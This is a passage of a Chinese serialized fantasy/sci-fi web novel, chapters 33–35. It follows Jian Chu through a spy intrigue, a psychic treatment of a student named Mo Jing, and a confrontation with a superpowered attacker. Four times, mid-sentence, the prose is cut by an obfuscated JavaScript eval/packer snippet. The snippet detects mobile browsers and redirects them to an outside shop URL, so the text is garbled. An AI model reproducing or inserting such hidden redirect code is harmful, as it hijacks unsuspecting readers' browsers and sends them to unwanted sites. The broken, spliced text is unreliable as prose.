“实习很挣钱吗？”简初捕捉到重点。 “研究所工资开得蛮高的，而且这种高精尖人才应该是额外有奖金的，所以很正常啦。” 秦理话音刚落，转头就看到简初亮晶晶的眼睛，她顶着一脑袋问号疑惑开口。 “你这什么表情，很缺钱吗？” “没有没有，”简初含蓄地摇摇头，“只是好奇。” 秦理：“……” 你要不要照照镜子，看看你那表情是不是好奇呢？ “你们专业也挺能挣的，放心啦！”秦理无奈耸耸肩，表情神似悲伤蛙，“不像我们，钱都花给你们了，申请武器、精神疏导，哪个不要花钱？” 她瞥了简初一眼，用肩膀拱了拱对方：“以后要是找你，可得给我打折啊。” “没问题！”简初比了个手势，“给我拉满十个客户，就给你免单……不是，免费。” “可以。”秦理朝她竖起大拇指。 等两人走进教室时，左虞珩已经在热身了。 “早啊，傅燃人呢，迟到可不像他的作风。”秦理上去跟他打了个招呼。 “他今天请假了，家里有点事。” 左虞衡甩甩胳膊，确认热身情况，转头看向简初：“今天咱们仨临时凑一凑啊，不然我就要在旁边孤独地长蘑菇了。” 说着，还露出一副可怜兮兮的表情，看得秦理一阵恶寒。 “给我正常点，之前不都是一块训练的，给我装什么装。” 简初一边拉伸，一边欣赏秦理教训人的第一现场，心情十分平静。 她现在比体术课的其他同学进度还要差一大截，基本上以自己训练为主，不怎么参加对练，所以之前一般都是他们三人轮流对练，空闲的那个给她做指导。 “你们来了。” 一道中气十足的声音传来，简初扭过头，就看见李亭老师精神抖擞，大踏步地往这里走来。 “今天小傅跟我请假了，简初就跟着我练吧。”他脸上露出自认为和蔼可亲的笑容，不遗余力地展示自己对奖金的关切。 “正好看看你最近有没有进步。” 简初回头向秦理求救，那边两个“好队友”扯出一个自求多福的表情，迅速撤离了现场。 简初：“……” 很好，她记住了。 …… 偌大的会议室内，几人沉默地围坐，傅燃后仰靠在椅背上，眼皮阖着，看起来有些疲惫。 “啊唉——” 林豹双打了个长长的哈欠，不过声音压得很低，她百无聊赖地瞧了眼一旁正襟危坐的安栩，撇撇嘴。 “怎么还没来……” 她话音未落，会议室的大门就被人打开了，她一个激灵挺直腰杆。 “会长！” 待她看清来人，顿时又窝了回去。 “怎么是你来了？” “看见我很失望吗，会长在远程会议室，跟研究所扯皮呢。” 来人推了推眼镜，将手里的报告放到桌上，它距离桌面半厘米的距离，悬浮在空中转着圈儿，飞到了傅燃面前。 “喏，看看。” 傅燃抬眼，随手接住了报告。 “一个一个来讲，首先，药剂是伊森·斯塔今天上午交给李维西，让他晚上送到联邦军校的校内研究所的。” 他身后的屏幕上展示出两人的照片。 “他们已经联系到了伊森本人，说是因为家族聚会，所以把东西交给了他信任的人。” “嗤——” 林豹双嗤笑一声，“我能信他就有鬼了。” “李维西对内情一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12190141|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无所知，基本可以排除在外。” 男人早就对此习以为常，淡定地继续进入下一个话题。 “炼金术士，已经确认死亡，调取了他的个人终端记录，他是从黑市星网得到了药剂的消息，卖消息的人收拾得很干净，基本没有找到的可能。” 傅燃将手里的报告翻过一页，意料之中看到了短短的一行字。 “根据你描述的异能，杀死他的人在联邦的异常库里没有登记，此前也没有出现过，应该是个新人。” 男人看他注意到那行字，开口解释道。 “你们抓回来的两个审问过了，是温弗拉的人，但很可惜，完完全全的边缘人物，甚至连直属上级的脸都没见过，问不出什么有价值的东西。对了，他们的上级你们也都认识——” “飓风，老熟人了。”傅燃淡淡开口，手指有规律地在纸面敲击。 “没错，飓风就是他们的联络人，按照温弗拉以往的行事风格，不排除他们提前得到了假药剂的消息。” 数据屏上出现一个刀疤脸大汉的照片。 “信息组这回够呛，被温弗拉压了一头，接下来起码三个月没有好日子过了。” 林豹双不咸不淡地开口，虽然她并不想长他人志气，但是这次确实是落后一步。 “多亏我还紧赶慢赶，把我那边任务收尾了过来帮忙。” “所以这次很明显是斯塔集团做的局，研究所参与配合，为了引出对真正药剂虎视眈眈的人，然后借我们的手进行清扫。” 傅燃合上手里的册子，揉了揉额角。 “看前两天传言的，斯塔集团要给研究所注资，也不是空穴来风咯？”林豹双开口问道。 “是的，三分钟前联邦军校研究所发布了公告，斯塔集团注资三十亿，分三批在一年内到位。” 男人推推眼镜，点了点头。 “三十亿演场戏，也是大手笔。” “嘶，我说你能不能找个时间把你那眼镜换了，总是往下掉你不难受吗？” “还好，实在是太忙，有时间我会去的。” 林豹双无语，这人要想配个眼镜，喊人上门三分钟的事，搁这装啥呢。 “后续继续跟进吧，散了，黎取留下，我有其他事要问你。” 傅燃确认完当前的情况，又重新靠回椅子里。 其他人迅速离开会议室，只留下一站一坐的两人，傅燃抬抬眼皮，示意对面的人坐下。 “我有些累，不要介意。” 黎取早就习惯傅燃一累就冷脸的坏习惯，虽然这人平时表情也不多，但现在显然要更吓人些。 “理解，我大概知道你要问什么。” 报告的最后，有一部分是关于上次在救助中心出现的异能者和本次神秘人的数据匹配，不过由于两次得到的有用信息太少，所以没什么参考价值，刚刚开会的时候黎取也就没有提及，只有傅燃一个人看到了。 “很可惜，这次作战范围超出了预期，没能捕捉到对方的异能波动，所以你的几个诉求……很抱歉，都没有确切的结论。” 黎取拿走他面前的报告，翻到最后一页。 “不过根据信息组的分析，这两次出现的极大概率是同一个人。” “救助中心的那次，你觉得正常吗？”傅燃面无表情地目光从黎取手里的报告挪到他脸上。 “来去无痕，你觉得是合理的吗？” 33. 灯下黑（33） 今天的实验课程源没有来，再加上傅燃请假，所以她们两人结束得比平时更早。 秦理邀请她晚上一起去乌托邦训练，但简初拒绝了，她凌晨几乎没怎么睡到觉，再加上连上了高级体术和实验课，身体和精神都处在十分疲倦的状态。 “你好好休息，下次再约。”秦理回宿舍拿了训练服，没待多久就再次出了门。 听见外面的大门被关上，简初从精神游离的状态中恢复过来，睁着有些无神的双眼，拨通了无影的通讯。 跟此前的秒接不同，这一次等待了十来秒，通讯才被接通。 “苍耳。”无影的声音有气无力的，“你终于联系我了。” 简初想起来自己此前确实跟他说过，等自己联系他。 “你这是怎么了？”简初关怀道，无影的异能给自己提供了很大的助力，得温和一点。 “没什么，异能消耗过度了，休息几天就好。”无影说。 怪不得他今天老老实实接了通讯，而不是突然投射过来。 “唉，幸好你没去。”他沉默了两秒，才犹豫着开口，似乎做了不少思想斗争。 “具……有两个人被抓了，只能说幸好他们知道的不多，不会有什么太坏的影响。”无影有些丧气，这一次上头处罚确实没罚到他头上，不过回来他还是被路亚狠狠骂了一顿。 说他没脑子什么的，也太过分了吧。 简初很明确地听到他开头有说出“具”这个音，但是很快咽了回去，大概率是她不能知道的事情，问了也白搭，她暗暗记下，开口选择了另一个话题。 “那天在场的都是什么人？” “这个嘛……”无影拖着长音，似乎在犹豫着要不要说，在简初看不到的地方，他正在迅速翻阅权限表。 “他们归属于异常特战中心的机密部门，我们并没有掌握到对方的真实身份信息。本来你这个级别的不会跟他们有正面对抗的，这次纯属意外。” 确认了简初可以知道的部分，无影挑捡着说了些，他才被骂过，得长长记性，一切按规矩来。 “斯塔集团的那小子把东西交给了……呃，我看看，一个叫李维西的学生，让他晚上帮忙送到研究所实验室，结果在路上被人截了。”无影说道。 简初想到昨天自己下课的时候，看见伊森正在和李维西交谈，当时两人确实交接了一个公文包来着，难道就是那个时候？ “半路抢劫的那人是联邦的通缉犯，代号炼金术士，说是在黑市买到了消息，前些年他被人埋伏设计，捡回一条命，但身体一直不行，这次应该是想着搏一搏。” “联邦军校应该没有那么容易潜入，他背后没有人支持吗？”简初深表怀疑。 “他倾尽资产，提前在黑市上做了很多准备。”无影无所谓地答道，对于温弗拉来说，这并不算什么难事。 “其他现场消息就几乎没有了，因为我们的人都被抓了。” 几天的交流下来，简初也发现了无影在温弗拉内部的级别并不高，很多事情他也不了解。 从他的话里看，被抓的两名成员应该是跟自己一个级别的工具人，什么都不知道，被抓了也无所谓，但她不相信温弗拉会做这种白给的事，背后一定有其他目的。 从自己展现给温弗拉的信息来推那两人的情况，他们在特战中心的几人面前绝对没有还手之力，如果温弗拉提前知道情况，那完全没有必要去送人头。 如果组织不清楚实情，他们绝对不会只派两个小兵来，就算加上自己，也只有三个人，平均下来，勉强新手跟对面大佬1V1，这完全没有胜算。 “所以任务失败了，东西也没拿到？”简初的声音听起来有些颓丧，无影并没有向她透露假药剂的消息，她只能先试探一下。 “啊对！还有这个！药剂是假的！”无影的声音有些憋屈，他就是因为这个被路亚骂了一顿。 “我被骂了，说是明显是个坑还往里跳，幸好你太菜没过去。” 最后一句嘟嘟囔囔，还是被简初听到了。 她沉默了两秒，开口道：“别难过，毕竟他们把重要消息都瞒住了，而且当时你收到的消息明显是滞后的，一定是……” “一定是那群鳖孙防着呢，一点集体意识都没有，成天搞这些勾心斗角的，这次阴沟里翻船也给他们长长记性。” 无影突然抢过话头，语气忿忿不平，不过好在看来不太需要安慰。 “我以为组织里大家都是同心协力的呢，没想到还有会有人做这种事……”简初语气失落，似乎对这样的情况有些失望。 “不是，我们这边都很团结的，就是……”无影突然停下了，简初知道他提到了自己不该知道的事。 “……总之你放心，你既然成为我的下属，绝对不会故意让你去送死的。” 无影开囫囵口道，“这次是意外，你不要担心，药剂的事情我还是要继续跟进，之后再有情况绝对会确认过再通知你的。” 等你确认完都到猴年马月了。 简初善解人意地开口：“没关系，有时候任务比较紧急，咱们可以一起来商量，总比你一个人纠结的好。” “苍耳，谢谢你，我会的。”无影被她的“体贴”感动，开口道。 挂断通讯，简初的面色并没有轻松，反而变得更加凝重了。 伊森和李维西的交接就在昨天快到中午的时候，到晚上这么短的时间内，炼金术士怎么可能买到消息并做好完全的准备。 那他们这一招以假乱真，必然是早就制定好的策略。 斯塔集团、特战中心、温弗拉…… 仅仅是明面上的势力，就已经够复杂了，更别提军校研究所可能也在其中扮演了某种角色。 这一次只钓出了温弗拉的两个小喽啰，那下一次，会是真的吗？ 无影给出的信息让其中的关系更加扑朔迷离，斯塔集团这一出等于主动暴露了他们手里确实有真正的强体药剂，那他们为什么自行研究生产，而是要演这么一出戏？ 除非背后有什么，阻碍了他们继续研究的脚步，让斯塔集团不得不出此下策。 但在简初看来，这出戏演得极其失败，代价远远超过回报，但精明的商人真的会做出让自己如此吃亏的决定吗？ 简初揉了揉额角，她知道的信息实在是太少太少了。 而最让人头疼的是，直到现在，她都没有收到系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12208042|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 播报，这意味着这件事还没完，但她显然不能只依靠无影的消息，他知道的有限不说，时效性和真实性都未必能得到保证。 她需要足够多的信息，才能更加主动地做出决定。 简初看向桌上随手记录的稿纸，思索片刻，在伊森的名字上画了个重重的圈，紧接着又草草圈住了李维西的名字。 除此之外，还有几乎在其中隐身的军校研究所，它在其中又发挥了什么作用？ …… 斯塔集团顶层。 两百三十三层的高楼傲视群雄，在联邦首都严格限高的情况下，只有寥寥无几的数栋楼直冲云霄，看起来尤为突出。 顶层是米勒尔·斯塔的独立套间，作为斯塔集团的现任掌权人，他非常喜爱从高空俯视的感觉。尽管什么都看不清，但像积木一样的楼房让他有一种可以将其玩弄于鼓掌的感觉。 就连不远处的联邦总府也匍匐在脚下。 “伊森，你这次做得不错。” 他坐在宽大的老板椅内，转过头，全白的头发在阳光下熠熠闪光，今天万里无云，从这里看出去视野很好。 “但是消息还是走漏得早了一些，不然应该能钓到大鱼，不过你还年轻，看人的眼光还能再精进。” “抱歉祖父，下次我会注意的。”伊森站在长长的办公桌之外，微微低下了头。 “嗯，新方案已经给军校研究所了吧，他们的意见呢？”米勒尔问道。 “研究所同意了我们提出的要求，表示愿意配合，但是……他们要项目的署名权，并且只给集团四个研究人员的参与名额。”伊森表情不善，军校研究所的要求显然超出了集团的底线。 “呵，果然。” 米勒尔的眼角满是皱纹，叫人看不清他的眼神，“那就先晾他们一段时间，你开始着手准备发布会的事吧。哦，对了，今年的模拟大赛你不要报名，我已经给你安排了作为特邀嘉宾出场。” “你弟弟今年参加比赛，到时候会重点给他镜头，你……多点点他，这孩子也很不错，就是缺了点露脸的机会。” 白发老人朝他看了一眼，丝毫没有觉得让他照顾同父异母的弟弟是什么过分的要求。 伊森面色平静地点了点头：“我知道了。” “这么大的集团想要撑起来，需要整个家族的努力，你的弟弟有几分资质，可以做你的助手。” “兄弟姐妹一条心，我才能放心把集团交到你们手里。” 米勒尔语重心长，斯塔家族的人并不看重对婚姻的忠诚，在他们眼中永恒的只有利益。 并不局限于财富的利益。 “我明白的，祖父。” 伊森看见老人伸手按了按额头，立即开口，“需要喊医生过来吗？” “不用了，你去忙吧。” 米勒尔皱眉摆摆手，仿佛在驱赶什么。 “好的，祖父。” 伊森后退两步，安静地离开了，他走进电梯，看着上面的数字快速跳动，许久才回神，松开自己的拳头。 他低下头看向手心，上面印着几道深深的白色凹痕，最中央甚至沁了点血色。 “该修指甲了。”他喃喃自语。 34. 灯下黑（33） 接连三天，简初都没有在学校里看见伊森的踪迹，问了李维西才知道他最近忙集团的事情，请了好几天假。 学校里小范围地有一些关于伊森在这次事件里的谣言，小黄毛虽然最近沉默寡言，但面对这种对伊森的攻讦，他还是没有坐视不理。 也许是因为简初和伊森向来不和，李维西更是老老实实跟她解释了他所知道的情况，生怕她一言不合就参与到造谣的活动里，所以这几天两人的关系看起来缓和了许多。 简初收拾完手里的书迅速离开教室，这一节是星际联邦历史，原本是低年级的通用课程，她并没有报名，只是有时候厚着脸皮来蹭课。 “学姐……” 简初大踏步向前走，充耳不闻身边吵吵嚷嚷的声音。 “学姐！” 身后有脚步声快速接近，似乎是冲着她来的，简初疑惑地转过身，对方想要拉住她背包带子的手落空，尴尬地停在半空。 “莫景？你也上这节课吗？”简初问道。 “我……我不上。”莫景局促不安地收回手，想插回兜里，却发现今天的衣服没有口袋。 “我是来找学姐的。” 简初看着面前似乎勇气用尽的女孩，疑惑地歪歪头：“啊？哦，有什么事吗？” “可以占用你一点时间吗，这里不太方便。”莫景的手指放在背后搅了搅，“我知道可能有一点唐突，但是我……” “可以，去连廊那边可以吗？”简初看了眼终端，距离自己跟秦理他们约好训练的时间还有点距离，正好莫景奇怪的亲昵感也让她很是好奇。 “可以可以。”莫景乖乖点头。 等她们走到两栋教学楼中间的连廊时，刚巧打响了上课铃，周围的学生原本就赶着去教室，这下子彻底做鸟兽散，空无一人了。 莫景转头看了看四周，确认没有人之后终于开口：“学姐，能不能拜托你给我做一下精神力检查。” 对上简初明显不解的眼神，她继续说：“上一次我们在实验室遇到，胡博士说第一代药剂已经成功，并且拓展了我的精神力容积。” 莫景紧张地抿抿唇，脸色不太好看：“可是我感觉，不太好。” 简初面上礼貌的微笑逐渐消失，她皱着眉开口问道：“什么意思？” 莫景开口，却是先说了别的事情：“学姐大概不知道，我是上个学期被程院长邀请参加这个项目的，他当时跟我说，很看好我，如果能配合项目做出成绩，就会收我做学生。” 她小心地觑了简初一眼，咽下差点脱口而出的话，尽管她很想追随学姐的脚步，但是并不想对方觉得自己是一个不独立的人。 简初没有开口，点点头示意她继续。 “之前的实验都失败了，不过所幸我的精神力并没有受到什么影响，难受一阵也就过去了，但最近几天我感觉很不对劲，经常头痛，上课的时候很容易走神。” 大概是觉得自己说的这些情况很没有说服力，莫景面色有些着急，开口解释：“我知道这些表现看起来很普通，但是我平时上课的时候几乎从来不走神，就算有也只是几秒钟就会回神，最近几天真的太频繁，时间也太长了，连授课老师都私下问我是不是遇到什么麻烦了。” 简初：“……” 从不走神，这是什么神人。 “你可以去校医院找老师帮忙看看。”简初谨慎开口，对方遇到这种事，没道理会跳过更权威的人来找自己帮忙，除非—— 莫景顿时泄了气，垮下肩膀：“校医院不接收我，因为参加了项目，所以都是专门的研究员给我做检查，但是他们说没有问题。” 简初看见她扁着一张嘴，眼眶变得红红的，但又努力忍住不让眼泪掉下来。 “所以我才想找学姐来帮忙的。” “你可以找伊森……学长，”简初露出一丝假笑，“他能力很强，比我靠谱。” 莫景抠抠手指，开口道：“我跟学长不太熟，而且他最近好像一直没来研究所。” 简初没有错过莫景面上一闪而过的不屑，针对的对象也很明显，她有些凝重地思索了两秒，她跟莫景难道真的是比较熟悉的关系吗，但是她可没忘记，两人连通讯号都是刚加上的。 看着对面的人保持沉默，莫景的声音也越来越小，最后小心抬眼看了她一眼，嗫嚅道：“学姐要是不愿意……” “噔噔噔~” “最最敬爱你的小学妹提出如此简单的请求，真不知道你是出于怎样残忍的心态拒绝。” “触发任务：帮助莫景做一次精神疏导，并解决问题。” “重要说明：消极逃避困难会带来极其可怕的后果。” 简初：“……” 叛逆心突然上来了怎么回事？ “抱歉，我……” “拒绝此任务将同时锁定其他所有任务，进入不可推进的状态。” 尽管系统的口吻听上去很轻松调皮，但简初读出了其中不一样的意味。 它似乎知道自己会拒绝，早早做好了准备。 此前的任务从来没有出现过明确的强制执行要求，这让简初不得不提起十二分精神，目前看来，系统任务并没有陷害自己，反而很多时候给了一些积极的提示。 这次的强制执行，难道也是？ 拒绝的话在嘴里打了个转，被简初紧急扭转。 “……我的经验可能不太多，没关系吗？” 原本已经准备好被拒绝的莫景闻言，猛然抬起头：“没关系没关系，我相信学姐，一定可以的！” 简初跟秦理发了个消息，说明自己放鸽子的缘由，便带着莫景回到了自己宿舍，她并没有随便带人参观自己卧室的习惯，只是让莫景在客厅等着，自己从卧室柜子里取出当时上实验课分配的监测仪。 她走出卧室，就看见莫景正襟危坐，双手放在膝盖上，眼神丝毫不敢瞥到其他地方，简初失笑：“不用这么紧张。” 她走过去，将仪器放到桌上：“知道仪器怎么用吧，放轻松，我给你贴上。” 很快，贴片就乱中有序地贴在了莫景脑袋上，后面跟着的线路看起来乱糟糟，但很神奇的是居然没有打结。 “有情况及时跟我说。” 简初伸手摁上莫景的脑袋，食指中指并拢，贴在太阳穴上，她感受到了轻微的抗拒，然后顺利进入了对方的精神核心。 不管多少次，她都会被精神核心的神秘所感染，简初停住了片刻，看着缓缓旋转的光球，暂时没有发现什么异样。 她缓慢释放自己的精神力，逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12228163|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐向深处渗透，按照之前所说的，莫景的精神力容积有所提高，那应该在精神核心的边界处有所体现。 这边没有……这边也没有…… 简初的精神力往更深处探过去，因为感受到手下人的不安，所以她的速度放得比平时要慢很多。 “这是……” 终于，在一个不起眼的角落，她发现了边界向外扩张的痕迹，但扩张的那一小块看起来很奇怪，原本的部分是会被核心光球的光芒照到的，所以会呈现出色彩，但那一小块地方确实纯黑色，仿佛有什么将它隔绝开来。 简初不敢托大，她小心喊出小触手，在那一块显眼的凸块上戳了一下，没有丝毫反应…… 手下的莫景突然不受控制地抽搐起来，她脸色惨白紧咬牙关，嘴唇都渗出血来，努力按捺住才颤颤巍巍开口：“我……没事。” 与此同时，纯黑色的凸块中，突然向外伸出几只黑色的触手，他们似乎是被小触手唤醒，凶狠地扑上来，想把小触手拉进它们的怀抱。 要死。 简初的额头也深处汗珠，她并不感受到疼痛，但脑海中传来巨大的拉扯感，黑色与金色半透明的触手陷入拉锯战，但很快，黑色一方由于后备不足，开始显出颓势。 小触手在黑色凸块上又缠了几圈，卯足了劲向后拉去，想要把它从边界线上扣下来，简初这才看出来，这并不是向外拓展的边界，而是附着在上面的，由于颜色过深，导致看起来像是向外扩展的一部分。 简初心里升起巨大的荒谬感，给莫景做检查的研究员真的看不出来这里有问题吗？ 要么是她精神力有超乎常人的能力，要么这个情况完全在研究所的掌控之下。 如果是后者，这对简初来说就不是个好消息了。 简初甚至能听到小触手在凸块上摩擦的声音，下一秒，黑色凸块从中脱落，小触手突然张开一张网，将其笼罩其中，不过两秒就吞噬殆尽。 简初：“……” 救命，别什么都瞎吃啊！ “天赋技能【神之手】升级成功，请继续努力。” 简初猛地睁开眼，松开了自己的手，莫景的脸色比刚刚好了不少，剧烈的疼痛过后居然是畅快的舒适感。 她惊喜地睁开眼，落入一双深邃的漩涡里。 “莫景，你这两天的异常还是因为太过劳累，所以你找了几个朋友好好聊了聊学习生活，接着睡了一个好觉。” “一觉醒来，一切都恢复了正常。” 简初对她发动了【唱诗班】，她无法确保莫景的异样是否是研究所的手笔，但她不能讲自己做的这一切暴露出来。 莫景对她的信赖度高得有些超乎想象，异能生效得很顺利，她眨眨眼，就提出了告辞。 “学姐，我有些累了，下次再聊吧。” “恭喜激活锚点（2/2），关键节点更定，偏移度+12。” 系统的播报声几乎与莫景的声音重叠在一起，将简初的记忆瞬间拉回现实世界的雨夜。 不仅是记忆，下一秒，冰凉的雨水毫不留情地砸在她身上，怀里的冰饮料嚣张地强调它的存在感，不远处男女的交流声清晰地传进她的耳朵里。 手里的手机屏幕亮着，上面是还没有编辑完成的报警信息。 35. 灯下黑（35） 她回来了？ 甚至回到了刚刚听见行凶动静的时刻，距离她被凶手发现陷入搏斗只剩下几分钟。 “噔噔噔！” “恭喜你，成功帮助了他人，同时也帮助了自己，给你的忠告并不是无的放矢，期待未来你做出的选择。” 简初知道，这是完成任务的系统播报，但它带来的变化超乎她的想象，难道这就是系统强制自己执行任务的原因。 系统究竟在扮演什么角色？ 不等简初细想，她的大脑突然变成一片浆糊，巨大的呕吐感汹涌而上，在星际世界杀死异种和对手的时候她并没有感受到明显的不适，但现在，血花飞溅的一幕幕仿佛走马灯一样在她眼前闪过，恶心感以数倍的姿态将她淹没。 她弯下腰无声地干呕，简初想起来今天她没来得及吃晚饭，午饭早就被消化掉，现在除了灼人的胃液之外，什么都吐不出来。 暴雨声完美遮掩了雨衣摩擦声，她现在离凶案现场还有一点距离，但却能清晰地透过雨幕听见男人的声音。 “……把你刘哥当傻子耍呢？” “我都说了乖乖听话，你还没到可以提要求的时候！” 只一瞬间简初就做出了决定，她要抢先杀了他。 她狼狈地抬头，雨水和干呕带来的泪水混在一起，模糊了视线，简初将手机放回口袋，没有发送报警信息，她伸手抹抹眼睛，仔细倾听对方的话，希望能从其中得出更多的信息，不过奇怪的是，那个年轻女人到现在都没有开口。 简初从兜里掏出防晒口罩戴上，口罩迅速被雨水浸透，湿答答地粘在她脸上，她目光落在手中，下一秒，一柄细长的手术刀迅速成型。 果然，她也可以使用异能，那么…… 简初的脸颊被什么东西碰了碰，她转过头，却对上一根黝黑的，有着深蓝色光泽的触手。 她瞳孔骤缩，不受控制地往旁边退了一步，紧接着强行控制住自己的脚步。黑色触手并没有伤害她的意思，见到她远离，在空中打了个卷儿，似乎在疑惑她为什么要躲开。 简初的目光顺着触手向下看去，终于在最根部看到了自己熟悉的那抹半透明的金色，这次它是从自己的肩胛骨探出来的，不到两厘米的金色，随后就是蓝到发黑的油亮触手。 简初：“……” 死孩子，让你乱吃东西！ 她不得不去想，这是不是它吞噬的诡异黑块带来的影响，而这又会不会伤害到自己的身体，现在忧虑显然已经晚了，但幸好的是目前并没有什么不适。 小触手丝毫没觉得有什么问题，它被不远处的声音吸引，慢慢悠悠地晃了过去，简初见状，暂且将心中的疑虑放在一边，悄无声息地走近了几步。 “跟着我们混，吃香喝辣有什么不好，我们跟普通人不一样，是被上天选中的人。” “跟你说话呢，回答！” “怎么不动了？艹，不会被我掐死了吧！” 简初眼神一凛，男人的话透露出一个重要的信息，觉醒异能的不止他一个人，甚至这个即将被杀害的女人也是异能者！ “没死就说话！你这种新生儿我见多了，刚觉醒菜的一匹，我动动手就能捏死……” “我……我答应你们！” 简初终于听见了女人的声音，她这次做出了跟之前不同的选择，也许是自己带来的蝴蝶效应？ 不等了，她要速战速决，如果等这两人达成一致，指不定又要出什么幺蛾子。 男人似乎没想到她这么快服软，愣了两秒，手上的劲松了几分：“你早这么识相，不就……” 下一秒，女人身后的墙壁出现一个一人高的漩涡，她突然使劲挣脱开男人的桎梏，一个旋身钻了进去。 “噗通！” 他听见巷子后面有什么坠落的声音，紧接着是女人的咒骂声。 “该死！怎么在这里用起来这么费劲！” 男人三步并作两步，迅速跑进后面的巷子，就看见女人正摔在地上，挣扎着要爬起来，在她的前方，一个黑影正悄无声息地站立着，她带着口罩穿着雨衣，什么都看不清，只能看出来是个女人。 “温南！你个臭婊子敢骗我！” 女人并不回答他，只是努力踹开脚上的鞋，跌跌撞撞往前跑，却在下一秒骤然顿住了。 这人！是什么时候在的！他们是一伙的？！ 温南惊慌失措地挑头看了一眼瞬间逼近的男人，咬咬牙想要再次发动异能。 不行！ 她腿一软，瞬间瘫倒在地，脑中仿佛针扎一般刺痛。 “明明在那边可以用的，为什么不行？”她喃喃自语。 她在那个世界明明可以连着用好几次，为什么现在不行！ 有些恍惚的视野中，那个黑影向他走近了两步，紧接着温南感到后脑一痛，紧接着黑暗侵袭，瞬间失去了知觉。 简初的目光在她被雨水浇透，还被小触手抹了两下的脸上停驻两秒，记住了她的长相。 原来除了她，还有别人。 她们是否去了同一个世界，除此之外又是否有其他人，许多问题突然出现，将事情变得愈加复杂起来。 简初抬头看向变得警惕的男人，淡淡开口：“你嘴太臭，我不喜欢。” “我他妈要你管，臭b……” 他话音未落，一个闪着银光的东西突然从一侧飞来，他的腮帮子流下温热的液体，疼痛紧随而来。 “唔！” 一根尖锐的铁棒从左至右穿透了男人的腮帮子，卡在上下牙之间，让他说不出话来。 男人的眼里终于出现了恐惧，他表情狰狞地伸手拔出了铁棒，腮帮子的伤口开始冒出肉芽，不过几息之间之间就长成了原样，但是疼痛的烙印并没有那么快散去。 男人发出几声迟来的痛呼，恶狠狠地抬起头，但很谨慎地没有再开口骂人。 “啊，果然不听话的揍一顿就好了。” 简初又向前走了一步几步，“我们先来聊聊吧，你想对小温做什么呢？” 她给自己捏造了一个虚假的身份，方便用来套话。 “你们果然是一伙的。”男人咧了咧嘴，他并没有看清温南是怎么晕倒的，只当她是体力不支。 “她没跟你说吗，果然是个自私的女人……你比她强，要不要考虑加入我们？” 男人突然又觉得自己可以了，骄傲地挺挺胸膛，“我叫刘迪，你叫什么？” 简初嗤笑一声：“别套近乎，先回答我的话。” 刘迪的胸膛剧烈起伏了两下，但出于对实力的畏惧，他强行忍住了：“我想邀请她加入我们，你们不都是异能者吗，难道能忍受那些蠢驴对我们的压迫？！” 他说着突然激动起来：“我们异能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12240049|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者要联合起来，反抗压迫，缔造一个新的世界！” 脑子坏了，鉴定完毕。 “你们现在有很多人吗？如果我加入能得到什么好处？”简初装作一副颇为意动的样子。 刘迪眼前一亮，开口道：“当然有很多人，你想要什么都能有，钞票、房子、豪车、女……男人，只有你想不到的。” 简初兴致缺缺：“哦，还有呢？” 男人没想到这些东西都没打动对方，他绞尽脑汁，不明白这女人到底想要什么。 “对了还有！你可以变得更强！” 此言一出，刘迪突然露出奇异的表情，好像是渴望，但又隐含着一丝恐惧。 简初眯了眯眼：“我警告你，不要想法子来骗我。” 刘迪瞪大双眼，大声说道：“我骗你干什么，哼，你不信也很正常，除了我们，没有谁能做到。” “我们不会在意你觉醒之前的身份，只要好好做任务，上头就会给你变强的机会，怎么样，要不要加入？” “随口说说，没有证据就想让我放过你？未免也太天真了。”简初亳不松口。 刘迪眼珠转了转，掏出手机：“既然你不信，我找我的大哥来跟你解释解释，他接受过一次……你见到他肯定会相信，他很强的。” 不知道是因为心里藏着想法有些紧张，刘迪絮絮叨叨，翻来覆去说了一堆。 他想摇人。 简初一眼就看出，刘迪本人根本没有接触过所谓“变强”的秘法，但他们的团体里有这么一条规定的可信度还是挺高的。 这是个小喽啰。 